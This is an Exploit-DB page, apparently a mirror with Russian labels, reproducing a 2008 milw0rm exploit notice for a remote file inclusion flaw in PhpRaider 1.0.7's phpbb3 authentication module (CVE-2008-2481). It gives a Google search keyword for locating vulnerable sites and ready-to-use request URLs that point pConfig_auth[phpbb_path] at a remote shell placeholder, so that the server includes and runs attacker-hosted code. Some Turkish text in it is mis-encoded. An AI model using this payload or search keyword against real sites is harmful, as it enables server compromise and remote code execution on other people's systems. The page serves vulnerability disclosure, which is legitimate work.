Exploit PHPRaider 1.0.7 - 'PHPbb3.functions.php' Remote File Inclusion

[Exploiter]

EDB-ID

5671

Проверка EDB

1. Пройдено

Автор

KACAK

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-2481

Дата публикации

2008-05-24

< ------------------- header data start ------------------- >

#############################################################

# Application Name : PhpRaider Mod phpbb3

# Vulnerable Type : Remote File Include

# Google Keyword : Powered by phpRaider v1.0.7

# Infection : Ä°lgili site ve sunucuya eriÅŸim saÄŸlanabilir.

# Bug Fix Advice : Undefined değerler, tanımlanmalıdır.

# author : KaCaK a.K.a Dr.Hack3r

# Error Code : include_once($pConfig_auth['phpbb_path'].'common.php');

Kacakizm Bir YaÅŸam Felsefesi

#############################################################

< ------------------- header data end of ------------------- >



< -- bug code start -- >

www.site.com/path/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=[SH3LL]

/path/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=[SH3LL]

< -- bug code end of -- >

# milw0rm.com [2008-05-24]